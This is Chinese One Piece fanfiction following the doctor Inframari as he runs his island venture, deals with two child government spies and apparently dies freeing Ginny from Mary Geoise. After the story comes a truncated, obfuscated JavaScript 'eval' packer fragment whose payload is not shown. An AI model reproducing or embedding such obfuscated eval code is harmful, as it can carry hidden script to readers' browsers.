罗宾很喜欢可爱的东西,奇怪的可爱和普通的可爱都很喜欢。脸红红地捧着雷欧和薇卡,一边看他们一边看自己的花园。 “最近住的还舒服吗?我们快返回前半段了。” “很好,茵弗先生。” 其实自己对他们只有一个要求,就是不要进他的房间。毕竟卡塔库栗会来吃下午茶,偶尔还一起顺便睡个午觉什么的。咚咚塔们真的手很巧,虽然波比上的用具都很大,但是他们适应的很快。除了自己带来的行李也用材料做了需要的东西,所以他毫不怀疑他们会很快融入伊甸鲸计划。 真的赚透了啊——— “是是是,这句话已经听你说了一百遍了。” 茵弗靠在雷利身上,也不顾自己是在会议室里,身边围绕着一圈人。咚咚塔们看到奥比塔拉各种各样没见过的草药植物都很兴奋,茵弗给他们划了一块区域随便他们改造成类似格林比特上的地下居住地。总之天天看不见影子,只能看到茁壮成长的植物们,还有偶尔的物品“失窃”恶作剧。 “呋呋呋呋——既然你的工作都聊完了,来聊聊托特兰吧。” 啧。 “没什么好聊,做了个交易,放我走了。以后会有点合作,不过那部分我亲自来管,您们暂时不需要知道。” 露玖:“我们很担心呢,小茵弗,艾斯他们也是。” 他又换了个方向贴到露玖身上,搂着她贴脑袋,微微低头嗅了嗅她头上的扶桑花。 “我也想您们,不过我没什么事。那边甜品味道不错,有机会给您们拿一点。” 闭了闭眼睛,他叹了一口气,终于直起身子端坐好,取过手边标着各种颜色的一摞摞文件。 “我不在这段时间,变化很大啊,来聊聊吧各位。” 以沃尔夫为代表的科研组、以特拉法尔加医生以及库洛卡斯为代表的医生组、负责七水之都工作的史黛拉、顾问索拉、多弗朗明哥的黑曼巴、负责督查组的泰格... 他一边翻着对应的文件,一边听着,顺便在上面做着标注。 “海运吞掉了?” “呋呋呋,你的小商人现在说了算。你觉得呢?” “下一个吃掉仓储吧,顺便联系他来见我一面,蛮想念的。” 至于雷利为什么在这里...拜托,他可是雷利。奥比塔拉的定海神针本针。 “驻扎海军换成达米安先生了?” “是的,小茵弗,他现在是少将,军衔足够,而且你知道的,他会''更好说话''。” “哈,渡鸦先生干的?我就说他是个坏家伙。” 人手不足啊...啧。 “我会联系巨蛇先生,除了吸纳工人外也帮他减轻些压力。再让信天翁先生发一期招工。医生方面怎么样?” 威廉:“足够的,毕竟本质上是医院。但是当然越多越好,以后还要派人手到海上,很多人不适应长期海上生活。” “库洛卡斯先生,拜托您了,训练组老大这个名头很好听吧?” 库洛卡斯嘟囔了一句臭小子:“拉布的改造还没做完呢。” 茵弗:“不耽误,让沃尔夫先生帮您,保证拉布先生身体安全为第一。” 索拉:“伽治以前的科学班MADS有不少科研人才呢,只不过现在在政府麾下,要试着联系吗?” 他接过雷利递过来的几张标着机密的纸,估计是伽治留下的吧。 “哦...伽治居然和贝加庞克先生当过同事?凯撒·库朗...居然还有...不、世界政府不会让我去挖墙脚的。而且我现在供不起这种顶尖人才,科研太费钱了。鱼人岛那边怎么样?” 泰格:“红十很好,自从有了海军的影响力又发展了不少,不过今年的世界会议在犹豫要不要参加。乙姬王妃想让我询问一下你的意见。” 茵弗思考了一下:“再等等看吧,现在可能还是有点早。” 七水之都海盐的独家售卖权??茵弗震惊抬头看向史黛拉。 “发了?” 成熟了不少的星星女孩笑笑:“确实呢。” 雷利:“新世界那边怎么样。” 茵弗摇摇头:“现在不行,至少四海分部建设结束再说吧,太乱了。” “对了,再过段时间种植方面我准备在小人族选一位管理者,这方面露玖您就不用那么细致地操心了。” 太阳一点点的爬,水杯里的水一点点减少。茵弗扭扭酸痛的肩膀,终于合上最后一份文件递给露玖。 “您们都辛苦了,这阵子放放假吧,我回来了。” 偌大的房间里只剩下他身侧的二位,和赖着不走的火烈鸟,连史黛拉都说去准备宴会离开了。索拉带着孩子们来他是蛮惊讶的。据说是当时特拉法尔加一家要过来,和她道别时做的决定。 变化真的很大,一群乌泱泱的孩子也是真的很闹。不过岛上新建的图书馆模仿了红十,专门有一个院子是个小学校。罗宾回来估计也能继续教教他们,体会派的孩子们只要学会独立思考的能力就随便他们撒欢去吧。反正雷利这边的训练还是要做,长大了能保护好自己就好。 茵弗将架在脑袋上的墨镜滑下来戴上,对着金发副船长嘻嘻一笑:“眼熟不?” 雷利捏捏他的脸,任由他又贴过来:“早就看见了,见到了?” 茵弗:“嗯,在艾尔巴夫,不过他有事情,没有来。” 雷利:“啊,我大概知道。” 从善如流地被漂亮的扶桑花楼过去,享受香香的亲吻一枚。然后狠狠瞪了一眼破坏气氛的粉色家伙。 “干嘛。” “呋呋呋,等着轮到我。” 露玖温和笑笑,拍拍他的脸。 “岛上有一个...嗯...''遇难流落''的少年。多弗等着带你去看看。” 茵弗挑挑眉:“?为什么。” 雷利:“因为那小子可能是政府的。” 他哐地一下坐直了。 露玖顺顺他渗出冷汗的后背,安抚道:“艾斯他们没事,你回来的时候我也让罗宾避开了。只是他的故事太''巧合'',伤也一直不好,所以我们有在监视他。” 好吧,自从弗雷凡斯之后,其实杠杆就已经被撬动了。派间谍来他这个行为不定的“中立者”这里探查也合理。不能干掉他,秘密就像糖衣... 茵弗深吸一口气,推了下圆形的墨镜:“那么,我这个医生就去见见这位伤一直不好的患者吧。” 自己对年轻的孩子们比较包容看来也是一条情报啊...毕竟这位患者大概只有十三四的样子。茵弗收回手,知晓了自己需要知道的——身体强度,还有他为什么伤不好。 他自己弄的。 所以才一直无法恢复,正好卡在不轻不重的程度,下手真狠啊...间谍训练做了不少年吧?世界政府几岁招的他?后背上巨大的十字伤疤也有快一年的样子了。 窗台上的白鸽发出咕咕的叫声。 罗布·路奇与面前的任务目标对视。 自己的任务之一就是需要知道对方的能力具体是如何运作的,但是好像奇迹游医只是正常地检查了自己的伤,然后上药包扎。也没有什么能力作用在身上的感觉。 这是自己加入CP9后的第一个正式任务,务必要成功。 “我听说您是落难了?路奇先生?” 茵弗轻轻地一圈一圈在他身上绕着纱布,短暂沉思后开口。 “是的,我和家人乘坐的商船被海贼袭击,我和弟弟受了伤,没有钱。还好漂流到附近,到奥比塔拉寻求帮助。” “您弟弟呢?” “我的伤最严重,所以只有我在这里,他已经痊愈,在收纳孤儿的孤儿院暂住,我们父母都...” 茵弗理解地拍拍他的肩膀:“您们家乡在哪?等伤好了我可以拜托经过的商人送您们回去。” 罗布·路奇露出苦恼的神色,摇了摇头:“如果不是奥比塔拉的医生们,我早就死了,我希望能为您工作偿还医疗费和恩情,我还有弟弟要照顾。” 自己对兄弟姐妹这种亲情有好感也是情报吗?不可能吧...大概误打误撞?觉得两个孩子比一个孩子更容易让他心软? “您还很年轻呢,我们不会为难孩子的。您们家乡还有别的亲人吗?” 看来情报说对年龄小的人比较容易放下戒心是真的。黑色中短发的少年摇摇头,面上浮起一丝悲伤 ,再次表达他们兄弟无处可去,希望能偿还他的恩情。 茵弗在墨镜后眯着眼。能随时看着他最好。他“弟弟”估计也是个小卧底——说真的罗西南迪说的那些间谍训练还蛮...艰苦。更不要说那还只是海军的,世界政府训练了一批孩子间谍?孩子杀手? 艾斯不提,罗宾肯定会被这个政府小间谍一眼认出来。所以放在身边太危险了。 可是把他派出去又不合理。对方明显表明了想留在这里,坚持把他送走肯定不行,麻烦啊。 “您擅长什么?您弟弟多大了?” 路奇:“我什么都能做,我弟弟九岁了。” 茵弗点点头:“出院后去孤儿院住吧,我会和那边说一下。您和弟弟就留在那边帮忙好了。孤儿院的孩子们也要做一些简单的家务。” 路奇:“可——” 茵弗打断了他,“我的诊费可以很高,也可以很低,说实话我并不需要您的感恩。”他刮了刮面前的少年的鼻子,冷漠的语气与亲昵的动作截然相反,“金钱、名声、力量、我全都有,我也全都不在乎。两个孩子能给我带来什么?” 罗布·路奇默默在“性情不定”这一情报后打了个勾,上一秒还温柔地和他说话的人,下一秒仿佛就变成了什么根本不在乎人间的神。他并不讨厌,只有强者才配持有如此高傲的态度。 茵弗玛利很强,比情报上记载的还强,从他瞬间扭转态度后所散发出来的气息就能感觉得到。这让他隐隐血管燃烧。 “我是医生,这里是医院,没有您可以做的工作。我也不需要一个孩子给我清扫大楼,做我的仆人。”他将墨镜推到头上,用淡金色的眼直视面前的少年,然后在对方的震惊里轻轻吻了一下他的额头,宛如赐福的圣人。“去孤儿院,照顾好弟弟,或者搭商船回家去吧。” 这位圣人笑着,用陈述事实的平静语气说:“【茵弗玛利】并不需要您。” 就像是神不需要凡人,恶魔不需要宽恕,毒蛇不屑于去吃放到嘴边的猎物。他也没有让他想要去绞死后吞噬的价值。 茵弗起身,看了一眼一直都没有发出声音的鸽子,对着它说了一句“祝早日康复。” 三天后出院的罗布·路奇去到孤儿院和自己的搭档卡库汇合,领下了在那里帮忙的工作。卡库询问时,他摸着额头,露出一个兴奋的,嗜血的笑容。 而踏出那间诡异病房的一刻,茵弗就吐出一口气,捏捏鼻梁后对着一直等着的多弗朗明哥无声示意可以走了。 回到医院后面的主楼,没走几步就被拎起来,圈在火烈鸟的怀里。 “干嘛。” “呋呋呋轮到我了。” 行吧,让他抽风吧,省得他走路了。 “继续监视他,不要让他和他''弟弟''无理由接近主楼范围,包括他那只鸽子。” “让baby5他们去?” “我还没说呢,您怎么也开始养孩子。” “呋呋呋受你启发。” “算了,要养就好好养,那小子是个孩子间谍这件事已经让我觉得不舒服了,您要是学着世界政府养孩子那套我就揍您。” “罗西在养呢。” “那我放心了。” 主楼其实是很多栋房子凑在一起拼成的,包括他们的生活区,核心成员都住在这边,专门工作的也有一栋,大会议室就是在那里。给多弗朗明哥建的房子当然也在这儿,他带着堂吉诃德家族住。其实都是隔壁隔壁,茵弗挺喜欢这种亲近的设计。 “呋呋呋托特兰住得挺舒服?” “别再想了。” 他拍拍把自己抱得很紧的胳膊,告诉他在晚上宴会的时候表现好点。到底是在威胁他表现不好这只手臂就等着被卸吧,还是在安慰这个当时没能带他走的人,他俩谁都没点明。 - 宴会很好,很热闹,就是孩子太多了。本来就很多,索拉又带来五个,火烈鸟又捡了仨。也不知道他来奥比塔拉到底是开医院的还是开托儿所的。 罗也长大不少,倒是变得更加酷哥,不过在拉米旁边就很爱妹妹的好哥哥模样。茵弗伸出小指,和他兑现约定,马尔科多了小不点前辈。本来很有点不爽的小孩在听到他这么说后,脸上露出跟他一模一样的顽劣笑容。 还是个坏小子。 倒是和堂吉诃德那边挺亲近让他挺意外的,虽然他坚持说那不是亲近。 “因为那个粉色混蛋讨厌啊,我要盯着他,结果身边怎么又多了个笨家伙。” “您还记得当年的事呢啊。” 不过罗是个善良的,聪明的坏小子,被坏家伙赏识,被坏家伙的弟弟喜欢也是正常的。看他和多弗朗明哥拌嘴,然后在罗西南迪摔倒之后憋着笑用脚戳他也挺好玩的。 很有活力呢。 和他相处的那几年有一大半听起来都是不健康的,现在这样好好长大的样子挺好。虽然他对基德和三兄弟叫他小姨一事表达不解。 “医生当家的是男的吧。” “当然啊?” “小姨说男子汉不要拘泥与大男子主义。” “有什么关系嘛尼嘻嘻嘻,来玩吧特拉仔!” “白痴不懂男人也可以是小姨吗?” “茵弗哥怎样都好啦。” 乖,基拉,还是你跟我最亲了。 不过这个对话能让自己可以讲的地方也太多了一点。首先,“当家的”是哪里来的口癖;艾斯一脸看笨蛋的表情真的是和罗杰一模一样,当年他也是摆出这种脸然后被雷利捶的;萨博换牙呢啊,说话还带点漏风的感觉,可爱,难怪基德叫他缺牙仔;路飞的特拉仔不会是跟基德学的吧,无师自通的话怎么不算一种天赋;不过什么男人叫也可以是小姨啦,虽然事实如此但是不要骂人家啊; 看到基德基拉完好的着装风格还是悄悄松了口气,虽然基德学着弗兰姆的样子在头上戴了个护目镜。配上他的大扳手倒是蛮有感觉的。 “帅吧!我给缺牙仔也弄了一个!” “看到了,不过那孩子戴在礼帽上呢。” “他发型没我帅啦!” 谦逊的礼仪...学到哪里去了?虽然小炮仗确实从小就这样。也行,自信总比自卑好。 不过和路飞比谁能吃更多肉这种事情就不要了吧,路飞才三岁啊吃那么油腻干嘛,医生不允许! “不吃——小树!” “乖路飞,吃一口西兰花吧!” “有破绽!” “呜哇——绿绿的好难吃!” 真是艰难的喂饭啊,回忆起卡普拍着桌子说什么不要放萝卜的感觉了...萝卜排骨汤怎么可能不放萝卜啊。 “莫比上好像也有人说过类似的话呢,什么樱桃派不要放樱桃,然后被很喜欢樱桃派的家伙骂了。” “是我也会骂的,不过莫比好玩吗?” 听起来被照顾的很好,三个人七嘴八舌嘟嘟囔囔地讲各种冒险。看来因为他们的关系有挑选安全的路线和岛屿,下次去要好好感谢一下。不过路飞掉到海里这种事情就不要用很厉害的语气说出来了,并不会得到夸奖的。 索拉的四胞胎倒是很值得被夸奖。可能是基因改造后过于早熟的关系吧,他们居然都还记得他。 “当然记得,谢谢你,我们现在感觉很好。” “不客气,伊治殿下。” 五颜六色的,卷卷的眉毛,可爱捏。也都各有各的爱好和个性,索拉教得很好。不过最软乎的还是 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事情就像是海上列车。不断尝试,改造,建构好车头后,调整器械,铲起煤炭,咕嘟咕嘟地蒸汽汇入发动机——积攒动力,等一声发车的鸣笛。而一节车厢可以被带着运行,就可以连起两节。只要起步,就可以运行下去。 几年的努力,终于开始结出果实。 朱尼尔和珊米的确还活着,他们和杰克逊一起来见他了。掌管海运的年轻新帝王,带着茵弗的货物——他的的第一只鲸。真是美好的巧合。 “你们也是我的第一只鲸呢。” “嘿嘿。” “都是帝王啦就不要笑的那么傻。” “随他吧,珊米,我们见到茵弗大哥都很开心嘛。” 按照约定,茵弗抹去了珊米脸上的疤,就在伊甸鲸上新的手术室里。他很满意,无论是规格上,结实程度上,还是上面配备的武器。用于海列车铁轨驱散海兽的类似装置也被装在船底,没有海军的海楼石镶嵌在船底那么夸张,不过也蛮好用。 第一次短期出航很成功,摩尔冈斯出的采访报道不要写得那么恶心可能就完美了。 “多弗朗明哥对着仓储下手了。” “啊,我告诉他的,海运之后仓储最合适吧?” “是,我在帮他。” “朱尼尔和珊米准备留在奥比塔拉?” “说好了要帮你的嘛!” “帮大忙了啊。” 四海的建设已经开始,但是这只伊甸鲸会先行走在伟大航路。毕竟能适应这里,四海也就不在话下了。这样如果长途航行几次有什么问题,汤姆那边造下一只时还来得及改。 既然如此,朱尼尔会跟着这只鲸,性格最温和的小子现在超级能打,估计和那个仍然在奥比塔拉外围收集消息的小间谍差不多。杰克逊吃了醉酒果实,作用是【溶解】,可以溶解人心这种虚无的东西在地下世界真是无比便利。不过朱尼尔对吃果实没什么兴趣,现在是剑士。珊米被他送去露玖那里,灵活聪明的女孩现在是商业王姐妹们的助手。 最顶端的医生们目前不会被他派出,比如威廉、库洛卡斯、还有前一阵招来的一个自恋男霍古巴克这种。性格真的讨厌,医术也是一顶一的好。不过奥比塔拉脾气古怪,有各种怪癖的医生并不少,毕竟来自世界各地。 库洛卡斯在训练完第一批能适应伊甸鲸的人手后就不管了,他把拉布的身体里改造成了可以居住的样子,方便他从内部治疗这只自我伤害太久了的大鲸鱼身体里留下的损伤。 布鲁克和孩子们玩得不错,有时候库洛卡斯出去带人回来,会带着几个想住大鲸鱼的孩子一起。他们的约定还没有完成,所以大概这位骨头剑士老师也总有一天会继续踏上旅途。 “我去磁鼓岛,看看乔治那个老家伙。” “啊,好,多招点人手啊,替我跟希鲁鲁克和库蕾哈医娘问好。” 茵弗和面前的花头发男人干了一杯酒,看着那艘带着红帆的鲸鱼远去。鲜血染红杰克逊号的帆,医生站在生与死之间鞠躬,血也总会成为白色之上的色彩。没有固定航线,就像他这个游医一样,每次都沿不同线路走。学医本来就是一辈子的事情,所以那些医生们想要去哪里就去哪里吧,学徒、老师、庸医、良医,在海上所有人都会变成学生,他们都会变成更好的医生。 “带上罗宾吧,我最近不打算开着波比出去,没什么她能出去放风的机会。” “知道了。” 有世界政府的探子到处晃悠,罗宾除了跟他出去行医或者跟着库洛卡斯真的没什么机会去玩,她也不太喜欢去对她来说全是陌生人的莫比迪克,即使萨奇也会去。 两个间谍里,路奇的“弟弟”,卡库,现在是最能接近他的。因为他找个了小孩子送牛奶的工作,每天茵弗都会和他见一面。鼻子方方长长的小子,喜欢戴鸭舌帽。 “谢啦,卡库先生,喏,今天的小费。” “谢谢你,茵弗先生。” 卡库接过对方递过来的袋子,有些迫不及待地打开。虽然是“小费”,但是这个人除了零钱外,有时候会给一些像“礼物”一样的东西。 什么家里的知更鸟新织的围巾啊,他的蓝色,路奇白色,哈多利的红色都有;什么新买的菠萝糖超级好吃拿一把回去吧;什么今天去药园检查的时候捡到一颗看起来像长颈鹿的石头啦;什么今天大家烤了饼干也拿一些回去配牛奶吧... 自己从小就是杀手,收到礼物还是第一次。路奇觉得无趣,说他们不需要奇迹游医这样的情报,但是他还是挺喜欢的。 感觉不赖啊,工作拿钱是正常的,冠昊岛的“奖励”也只是新衣服或者休息半天这类的。所以他是真的很期待这些“小费”。 今天的是鸭舌帽,简单的鹅黄色,上面的刺绣写着“卡库先生”。 所以说,真的很喜欢啊。 “谢谢你。”他把头上的旧帽子换下来,对着笑眯眯的青年比了个耶。 “不客气,好看呢。” 只要他们不伤害到罗宾他们,茵弗不讨厌这两个小子。所以他不介意给这些小小年纪就被训练成杀手卧底的孩子们一点小玩意。 路奇大概担心自己太急切地表现出想要到他身边工作会暴露吧,只是派了卡库。自己白天孤儿院那边帮忙,晚上会去镇上的酒馆打工。很聪明,酒馆一类的地方是消息的聚集地。 不过最近收到他想进入加工厂的工作申请表了,因年龄不够的理由被拒。 果然,换方法了。面前的长鼻子小子挠挠脸,有些犹豫地询问有时间能不能拜访主楼,亲自感谢做了饼干还有围巾什么的人。 等罗宾他们出去玩了倒是就没什么问题。 “可以啊,不过最近有点忙呢,等有空闲时间我告诉您怎么样?您哥哥也来吗?” “啊、如果可以的话。” “当然了,您们爱吃什么,估计露玖会留您们吃晚饭吧。” 这边打发走一个小卧底,那边又来一个大卧底。罗西南迪现在开始在脸上化彩妆,眼下的倒皇冠和红红的,延伸到面颊上的笑。有点让他想起巴基的唇妆,只不过更夸张一些,蛮好看的。据说是罗的建议,来让他走在多弗朗明哥旁边时看起来不那么软咩咩,他俩是真的玩得很好。 “多弗要我来找你过去。” “好的,什么事?” “有关往海军里放卧底的事情。” 多弗朗明哥准备让维尔高潜入海军。这次不是和罗西南迪一样的“心知肚明”的牵制,而是真正的卧底。虽然茵弗玛利和海军现在合作密切,但是毕竟只是合作。有一个内部人员也挺好的,毕竟罗西南迪的任务现在在这边,就算他是战国的养子,很多事情也不再能得到消息。 “要至少爬到中将吧?” “呋呋呋呋我相信维尔高的能力。” 茵弗打量着这个脸上总是沾着剩饭,武装色很强的家伙。对着罗西南迪招招手,“看着点他,渡鸦先生,要是和您哥哥一起背着我搞什么让您不喜欢的小动作...” 罗西南迪软软地笑笑,揉了一把对着维尔高做出一副看起来凶巴巴表情的青年,“我知道。”,能说不愧是罗的老师吗?两个人眯着金色眼睛,猫一样呲牙的感觉真的很像。 茵弗不知道他的联想,只是捶一拳旁边阴阳怪气的火烈鸟的嘴巴让他闭嘴,然后让维尔高将自己做武器的竹子上覆盖上武装色。 “竹子,先生。是很适合您的武器。”他起身时握住漆黑的竹竿,在对方感到威胁下意识增加硬度时满意点头——确实不弱,而且直觉不错。 咔嚓—— 他将断掉的竹子丢给多弗朗明哥。 事情发展的很好,那张花花绿绿的计划图被钉在会议室里规划板的中间,一项一项地被打勾。不过他心情没有很好,因为他面前带着刺青的严肃电话虫。 “金妮小姐...被拐走了?” 龙那边大概很忙乱吧,信号很差,风声和电流声模糊了他的声音。 “是...我们现...兵力四散...还不足以...希望..打探消息,不过我估计...” “天龙人?” “...” “...我会联系露娜茜茜雅宫。” 67.死亡背面再见 “不能让大熊用能力送人去吗?” “不行,他只能将某人送到''某地'',降落点并不确定,万一直接砸到五老星面前怎么办。” 偌大的会议室里,只有茵弗和雷利。两个人的声音交揉在这冰冷的夜,比生涩的月光更像寒冰。 金妮的确被带到圣地去了,''嫁给''了某一位天龙人为妻。露娜茜茜雅花了几个月的时间和才确定这件事,毕竟天龙人的''妻子''们实在太多。这不是普通的奴隶归属权纠纷就能让她帮忙运作的事情,如果她是男天龙人,也许,但她不是。 茵弗感到烦躁,雷利更烦躁。那是玛丽乔亚,天龙人和世界政府的大本营,面前的小子居然说要去救人?提出来的方案一个比一个危险,一个比一个令人不适。 “龙那小子为什么不去?他不就是要对抗天龙人的吗?” “力量不够,先生。革命军需要更多时间生长,我怕金妮小姐没有那么多时间。” 他把金妮的消息告诉龙的时候,大熊也在,伊万科夫也在,很多军长都在。可是传回来的死寂过于安静,不健康的安静。好像他们听到了死亡宣判,无声的绝望、悲哀、愤怒,最终汇成了一汪无可奈何。 大熊用颤抖的声音感谢他的情报,茵弗不知道有多少人在传声筒的对面啜泣,最后龙叹息着说,“知道了。”没有继续求助,没有再提。 这是什么令人恶心的命运?他还等着终有一日能参加大熊和金妮的婚礼呢,在索尔贝的时候这件事就经常被逗趣。 重建的南索尔贝的建筑工地里,他们咬着不可避免地沾了尘土的盐饭团,粉发的女孩夸奖他的厨艺,说吃得如此好,还有大家在身边她无比幸福,如果能和熊仔结婚就更好。 高大强壮却声音温柔的先生只是红了脸,有些磕巴地说我们不能结婚,金妮,但是没有让跳到自己膝盖上坐着的心上人下去。 自己倒是被□□从腿上丢下去,差点没被嘴里的糖块噎死。那时候自己不食的症状还很严重,但是金妮揽着他,塞给他半个饭团,说好好吃饭,玛利仔,婚礼让你来当牧师。 “我也很遗憾发生了这样的事,但是你没必要去管,小子,你不用对他们负责。” 又是这样,总是这样。旅行就好好旅行,医生就好好行医,他总把一堆绳子揽到自己肩头,好像对面拴着的不是什么难以撼动的巨物。 “他们是我的朋友。” “有时候我真的很烦你比艾斯更像罗杰。” 雷利闭眼揉着鼻梁,能十几岁就靠意志力抵抗罗杰霸王色的臭小子是真的很倔。 “交给您了,雷利先生。” 你看、他们说的话都一模一样。 “你说过我们要一起变老。” “是您说的,我只是如此希望而已。” 这种钻话语里漏子的习惯究竟是哪里学来的?卡普?下次见到那老家伙,他会狠狠地跟他打一架。 露玖也想和谁打一架。 因为她陷入了长达几个月的迷茫与不安,茵弗把所有人都派走了。 现在的确是发展期,事情顺利,所以按理说并不奇怪,但是露玖嗅到了不对劲的地方,雷利太紧绷了。他训练艾斯他们时更加严格,他不去镇上喝酒玩牌。他在等什么。 索拉带着杰尔玛回到北海,因为那边不能缺少这个霸主的威慑力。特拉法尔加去了北海分部,带走了想要去布鲁尼尔看看的大量小人族。 堂吉诃德家族去了西海,他们要吃下基伯森,茵弗撒娇说要更多的恶魔果实。罗跟着他们走了,因为他想留下,启航前溜下杰尔玛和家人分开,等了好久才钻出来。于是茵弗把他丢给罗西南迪,说要给学生们放假。 马尔科照常带着萨奇回莫比迪克住一段时间,但是这次除了学习任务外,茵弗给了他们很多很多手写的资料,还给了萨奇一封信,叮嘱他“不到时间不要拆开。” 泰格带着一批轮换的鱼人族工人回鱼人岛,茵弗拜托他之后去东海看看那边的分部建设的具体怎么样。阿龙他们情况如何。 有什么事要发生了,茵弗在某一天丢掉了一大包镜子的碎片,和那两个有时会来“做客”的小间谍说了什么。 然后在一个阳光明媚的好日子,他亲了亲她和史黛拉,亲了亲所有的孩子们,将不离身的红色串珠项链挂在艾斯的脖子上,无奈地对着雷利转过身的背影笑笑,在那个叫路奇的孩子敲门邀请他时离开。 露玖感到心慌,她抓住雷利,质问他到底这几个月发生了什么,在发生什么。雷利只是盯着她,给了她一张纸,然后给自己开了一整瓶的威士忌。 酒浆味道醇厚,酸涩。他没有回头,只是对那个流泪的女人说,“他都安排好了,即使没有他...” 他又喝了一口酒,没有继续说下去。他怀里有标着各种名字的生命卡,房间里放着太多“如果发生这样的事情请如此做”的纸张。霍金斯先生可是从来都算不出0%,已经比他高的臭小子拍着他说,不过如果我失败了—— ''我是不会死的,雷利。'' ''我们在死亡的背面再见吧。'' 有时候他真的很烦他不那么像罗杰。 罗布·路奇和卡库被世界政府召回了,因为他们暴露身份,任务失败。路奇和他被揍了,然后又被治好伤口捆着丢在香波地。 卡库头晕晕的,他看见路奇眼神冰冷,但是带着和那天一样狂热的笑容说了什么。自己的额头上被吻了一下,在战斗中掉落的鸭舌帽被放回头上。 耳朵里耳鸣得厉害,什么都很模糊,可是他好像就是能听清面前人的声音。 “真的吗?可是我最喜欢耍神玩了。”他听到他这么说。 他不明白是什么意思。 他们带回政府的情报质量高,但是暴露身份,被调到CP5参与另一个项目。也就是说他们两个的能力被质疑,没有奖励,没有惩罚,可以犯错的机会少了一次。 然后他们看到报纸就明白了。神被耍了,世界政府被耍了。圣地玛丽乔亚发生暴动,大量奴隶出逃。政府的消息是天龙人内乱,犯人为萨米奥丝家的男主人,在被处刑后家族交由给在此次事件立下大功的独女露娜茜茜雅宫。 一定是他干的,但是他们拿不出证据。茵弗玛利也许去了圣地,但是奇迹游医在将试图跟在他身边的两个小间谍送到香波地后就像往常一样行医去了。 “路奇...你觉得我们交上去的报告...里面有多少是真的?” 路奇撕碎了那份报纸。 巴/雷特同样觉得自己被耍了。 革命军呆着还不错,战场是他熟悉的,虽然不能说胜利后让他有多么满足,但是至少不让他感到空虚。他不再一遍遍翻出那几枚弹壳子弹,犹豫是否要干脆丢掉它们一了百了。他把它们放在胸前的口袋里,紧贴他的勋章。 他一开始只是参与战斗,后来闲着没事就也干点别的。帮难民拆拆城堡啊,建建房子,在收容一群小藤壶的地方坐着打发时间,在大人们忙碌时''照看''一下。一群弱的要死的家伙有他在简直是他们的幸运。 那些什么会议的他听不懂,也懒得听,不过他了解战争,比谁都了解。革命军的家伙们在这方面尊重他的意见,感觉也不赖。就像是小老鼠永远会尊重他想吃什么类型的饭,然后绞尽脑汁地把它配得均衡。 龙这家伙还不错,是个强者。伊万科夫有点烦,那张大脸看着就聒噪。不过他们成了某种共事者,某种伙伴。没人背叛,没人争夺,哪怕只是豆子汤里的几块肉丁,该是他的他一定会拿到手,他不担心。 金妮失踪的时候他跟着龙在东海,收到消息的时候升起一股在艾德沃尔海战时的担忧。但这次他不烦躁,不想逃避,他承认和大熊他们同样忧虑。 他们联系了小老鼠,那家伙现在厉害的很,顺利收到准确消息——天龙人就是一群王八蛋。 金妮被拐走一年后,玛丽乔亚发生暴动,隔天伊万科夫还在用他那烦死人的腔调感慨着,大熊和龙商量着还能不能分出人手去接济一下流落逃跑的奴隶们,金妮就打来电话虫,用无比虚弱的声音说她回来了,拜托他们去接她。她说她怀着孕,请他们务必尽快,她担心孩子。在被询问发生什么事的时候,她坚持着说了一句“玛利仔”就晕过去了。 巴/雷特把龙摁在墙上,让他立刻给茵弗玛利打电话虫。这回在接通后,轮到他们对面的人沉默了。他感觉自己被耍了,明明他说了需要他的话叫他回去不是吗? “弱小的、革命军。” 他们现在势力太小,成功率太低,风险太大,因为各种各样的原因没去做这件事,巴/雷特没去做这件事。那只小老鼠去了,所以口袋里的那份生命卡烧没了,他的指尖摸到灰烬。 那么小小的一片纸,那么微弱的火花,他在火焰肆虐的战场上甚至都没注意。毕竟之前也烧过,最后都会复原不是吗? 被他揍在地上的龙一言不发,只是对他咬着牙吐出来的话点点头,然后给了他一艘船,一些物资。他不准备去海上暴走,因为他不相信他死了,哪怕只有1%的可能,大概自己也变得神叨叨了。 他要去找,然后去奥比塔拉。 - 巴/雷特没注意到生命卡的变化,很多人注意到了。雷利不算其中之一,因为他一直在等它开始燃烧。 小小的火星一点点吞噬着洁白的纸,在褪到一半时迅速复原,然后再次燃烧,循环往复。每一次循环时他都喝一杯酒,数着那小子带去的“治愈蒲公英”还有多少。 当桌上的生命卡在眨眼间化成灰烬,他的第一反应是:数量对不上。 自己都不够用就不要分给奴隶们了啊。 他又扭开一瓶酒。 咚咚塔的公主曼雪莉仍然年幼,制作不了太多的蒲公英,也没有在奥比塔拉留很久。即使雷利坚持,茵弗也拒绝将所有的都带走,他担心如果发生什么事艾斯他们更需要。 他给坐在对面的女人倒了一杯,打破对方凝固的状态。 “...就...这样?” “就这样。” 露玖发现自己哭不出来,她没有喝那杯高浓度的酒精,只是睁大眼睛看桌上小小的一滩灰色,伸出颤抖的手试图将它们捏起。 屋子里的电话虫响起,突然的声音使她指尖的灰烬抖落。她没去接,雷利也没去。她只是重复着这个动作,试图感受指尖如泪水般的余温。 噗噜噗噜噗噜噗噜... 画着笑脸的电话虫无人接听。 就让它响吧。 明天,后天,他们会收到更多的电话虫。 - “没人接。” “妈的、迪亚曼蒂!去开船!现在立刻回去!” “少主!可是这边——” 罗西南迪叼着没有点燃的烟,在听到喧闹声被吵醒的罗推开门时赶过去,将他带离暴怒的多弗。 “柯拉先生,发生什么了?晚宴不顺利吗?” 顺利的,只是在回来之后,他和多弗手里的生命卡同时开始燃烧。这次对方不在托特兰,他应该在奥比塔拉,这个时间不是在工作就是睡觉,为什么会烧起来?而且指向的方向... 他拿起自己的那份走出门时,遇上了同样手里拿着生命卡的,嘴角下垂的多弗。 他们打茵弗玛利的电话虫没有打通,一言不发地看着手里的生命卡烧了复原烧了复原。 罗西南迪的呼吸也跟着那杂乱的频率紊乱,直到他忘了要呼吸。 联络奥比塔拉的电话虫也打不通。要不就是那边出事了,要不就是... “...柯拉先生?” “去叫baby5他们起来,罗,我们回伊甸。” “现在?为什么?” “...快去吧。” 罗感到慌张,柯拉松扶在他肩上的手在颤抖。老师那边发生什么事了吗?罗宾他们还好吗?他点点头,转身时小丑妆青年背后的门被粗暴地推开,多弗朗明哥一脸狰狞地向外走。 “老子要杀了那个混蛋!” - 噗噜噗噜噗噜... 喀嚓。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 